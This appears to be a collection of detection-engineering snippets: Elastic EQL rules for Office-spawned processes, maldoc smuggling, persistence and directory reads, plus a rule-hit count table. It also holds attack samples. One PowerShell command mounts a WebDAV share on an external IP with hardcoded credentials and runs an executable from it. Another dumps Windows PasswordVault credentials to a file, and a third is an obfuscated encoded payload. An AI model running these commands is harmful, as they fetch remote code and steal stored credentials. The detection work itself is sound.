Samirbous

$cmd="C:\windows\system32\cmd.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c net use z: \\5.206.224.233\webdav\ /user:user 
`$RFVbgtyuJ32D && z:\osdupdate.exe && net use z: /delete ";

Samirbous

sequence  with maxspan=30s
[registry where process.name : "winword.exe" and 
 registry.path : "HKEY_USERS\\*\\Software\\Microsoft\\Office\\*\\Common\\Internet\\Server Cache\\https*"] by process.entity_id
[file where event.action == "creation" and 
 file.path : "?:\\Users\\*\\AppData\\*\\Content.MSO\\*" and process.name : "winword.exe" and 
 file.extension : "htm*" and file.size >= 4096] by process.entity_id
 [process where event.action == "start" and process.parent.name : "winword.exe" and 
 not process.name : ("splwow64.exe", "DWWIN.EXE", "WerFault.exe")] by process.parent.entity_id

Samirbous

sequence with maxspan=1m
 [file where event.action != "deletion" and 
   file.extension : "doc*" and 
   /* xml or mht file header renamed as doc smuggling maldoc */
   file.Ext.header_bytes : ("3c3f786d6c2076657273696f6e*", "4d494d452d56657273696f6e3a*") and 
    process.name : ("WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE", "MSACCESS.EXE")] by process.entity_id
 [process where event.action == "start" and 
  process.parent.name : ("WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE", "MSACCESS.EXE")] by process.parent.entity_id

Samirbous

$iWli=('011K110,01110101,01101110,011K011,011101K,01101K1,01101111,01101110,K1KK0,011101K,01K1101,01KK11,011K110,01101011,0101K11,01K01K,K1KK0,01111011,KK1101,KK1010,KK1101,KK1010,KK1K1,01011011,01KK11,01101101,011K1K,011011K,011K101,011101K,01KK10,01101K1,01101110,011K1K,01101K1,01101110,011K111,K101K0,K101K1,01011101,KK1101,KK1010,K1KK0,K1KK0,K1KK0,K1KK0,0101KK,011KK1,0111K10,011KK1,01101101,K1KK0,K101K0,01011011,011K010,01111K1,011101K,011K101,01011011,01011101,01011101,K1KK0,K1K1K,011K010,01111K1,011101K,011K101,01KK01,0111K10,0111K10,011KK1,01111K1,K101K1,KK1101,KK1010,K1KK0,KK1101,KK1010,KK1K1,0101KK,0111K10,01101111,011K011,011K101,0111K11,0111K11,K1KK0,01111011,KK1101,KK1010,KK1K1,K1KK0,K1KK0,K1KK0,K1KK0,K1K1K,011K111,01101011,011K1K,011K110,K111101,K101K0,K1K111,K101K0,01011011,01K1K1,01K1111,K101110,01KK11,01101111,01101101,0111KK,0111K10,011K101,0111K11,0111K11,01101K1,01101111,01101110,K101110,01KK11,01101111,01101101,0111KK,0111K10,011K101,0111K11,0111K11,01101K1,01101111,01101110,01K1101,0110111

Samirbous

process where event.action == "start" and 

(
 (process.parent.name : "svchost.exe" and process.parent.args : "schedule") or 
  process.parent.name : "services.exe" 
 )
 
 and 
 
 (process.Ext.relative_file_creation_time < 300 or process.Ext.relative_file_name_modify_time < 300)

Samirbous

[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
(new-object Windows.Security.Credentials.PasswordVault).RetrieveAll()|%{$_.RetrievePassword();$_}>"pwds.tmp"

Samirbous

sequence by host.id with maxspan=1m
 [registry where registry.path : "*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*"] by registry.data.strings
 [process where event.action == "start" and

  /* recently created files  */
  process.Ext.relative_file_creation_time < 500] by process.executable

Samirbous

sequence by host.id, process.entity_id with maxspan=3s
 [process where event.type == "start" and process.name : "svchost.exe" and process.args : "appmodel"]
 [network where event.action == "connection_accepted" and
  process.name : "svchost.exe" and
  source.port >= 49152 and destination.port >= 49152 and source.ip != "127.0.0.1" and source.ip != "::1"]

Samirbous

"Top 1000 values of rule.name","Count of records"
"Connection to WebService by a Signed Binary Proxy",342
"Managed .NET Code Execution via PowerShell",79
"Execution via a Suspicious WMI Client",57
"Credential Access via Known Utilities",40
"Regsvr32 Scriptlet Execution",39
"Suspicious Bitsadmin Activity",34
"Suspicious Windows Command Shell Execution",32
"Script Execution via Microsoft HTML Application",28
"Suspicious Execution via Windows Management Instrumentation",27

Samirbous

any where event.action == "Directory Service Access" and 
 event.code == "4662" and 
 not winlog.event_data.SubjectUserSid : "S-1-5-18" and 
 winlog.event_data.AccessListDescription : "Read Property" and 
 length(winlog.event_data.Properties) >= 800